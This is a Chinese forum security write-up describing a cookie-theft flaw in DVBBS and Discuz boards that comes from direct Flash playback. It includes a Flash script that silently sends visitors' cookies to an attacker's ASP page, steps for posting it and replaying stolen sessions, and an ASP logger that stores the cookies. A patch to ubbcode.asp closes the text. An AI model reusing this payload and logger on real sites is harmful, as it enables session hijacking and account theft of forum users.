DVBBS等論壇存在Cookies偷取漏洞
2024-07-21 02:25:18
供稿:網友
灌水公司榮譽出品
◇ 此漏洞所涉及版本::
dvbbs、discus所有版本,其它論壇未作測試,相信大多數都存在該漏洞
◇ 描述:
由于dvbbs等論壇對flash采取直接播放形式,導致攻擊者可以利用flash嵌入一段javascript代碼,達到偷取用戶cookies的目的
◇ 具體分析與利用:
1. 首先準備好一個可以運行asp的空間,用來存放cookies
2. 新建一個flash動畫,加入如下代碼:
onclipevent (load) {
url="javascript:var rng=document.selection.createrange();rng.pastehtml(/"<iframe name=frame_hide style='display:none'></iframe><img src=http://www.163design.net///"./images/logo.gif///" style=///"display:none///" onload=///"javascript:co=document.cookie;document.all.frame_hide.src='http://存放路徑/writecookies.asp?cookies='+co.split('&');var e=document.all;for(var i=0;i<e.length;i++){if(e(i).tagname=='a'){var ss=e(i).outerhtml;}}///">/");"
geturl(url);
}
利用iframe是為了讓其它人查覺不到程序的頁面跳轉
3. 將flash導出為swf文件,插入到想要偷取cookies的論壇上,加入代碼 (注,有些論壇是[swf][/swf])
4. 這樣,如果有用戶進到貼子里面,javascript程序就會把該用戶的cookies送到writecookies.asp,保存到數據庫
5. 至于cookies欺騙,推薦使用iecookiesview,很多教程都有介紹,在這里就不多說了
◇ 備注
1. 對于禁用flash的論壇,還可以利用png格式的圖片嵌入代碼偷取
2. 拿到cookies后,密碼是經md5算法加密過的字符串,如果你喜歡用暴力的話,可以試試去解碼,當然,個人是不推薦這種方法的
◇ 解決方案:
1. 禁用flash,或將flash改為鏈接格式,以動網為例,修改inc/ubbcode.asp文件
找到下面兩段
re.pattern="(/[flash/])(.[^/[]*)(/[//flash/])"
strcontent= re.replace(strcontent,"<a href=""$2"" target=_blank><img src=http://www.163design.net/a/a/pic/swf.gif border=0 alt=點擊開新窗口欣賞該flash動畫! height=16 width=16>[全屏欣賞]</a>
<object codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=500 height=400><param name=movie value=""$2""><param name=quality value=high><embed src=""$2"" quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?p1_prod_version=shockwaveflash' type='application/x-shockwave-flash' width=500 height=400>$2</embed></object>")
re.pattern="(/[flash=*([0-9]*),*([0-9]*)/])(.[^/[]*)(/[//flash/])"
strcontent= re.replace(strcontent,"<a href=""$4"" target=_blank><img src=http://www.163design.net/a/a/pic/swf.gif border=0 alt=點擊開新窗口欣賞該flash動畫! height=16 width=16>[全屏欣賞]</a>
<object codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=$2 height=$3><param name=movie value=""$4""><param name=quality value=high><embed src=""$4"" quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?p1_prod_version=shockwaveflash' type='application/x-shockwave-flash' width=$2 height=$3>$4</embed></object>")
改為
re.pattern="(/[flash/])(.[^/[]*)(/[//flash/])"
strcontent= re.replace(strcontent,"<a href=""$2"" target=_blank><img src=http://www.163design.net/a/a/pic/swf.gif border=0 height=16 width=16>[點擊打開該flash文件]</a>")
re.pattern="(/[flash=*([0-9]*),*([0-9]*)/])(.[^/[]*)(/[//flash/])"
strcontent= re.replace(strcontent,"<a href=""$4"" target=_blank><img src=http://www.163design.net/a/a/pic/swf.gif border=0 height=16 width=16>[點擊打開該flash文件]</a>")
2. 至于png圖片的問題,留給寫論壇的人自己去解決吧
◇ 附:保存cookies的簡單asp代碼,如果想要加上其他功能,自己稍為修改一下就行了。
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};dbq="& server.mappath("cookieslog.mdb")
cookies=request("cookies")
ip=request.servervariables("remote_host")
sql="insert into co(cookies,ip) values('"&cookies&"','"&ip&"')"
conn.execute(sql)
set conn=nothing
◇ 廣告時間:
本漏洞由“灌水公司”全體工作人員發現,flash代碼由余平編寫,文檔由小竹整理。
灌水公司提供專業級的網站程序開發,數據庫開發,收費技術支持、安全顧問服務
聯系方式:
qq:48814 (小竹)
qq組:1019634 (灌水公司)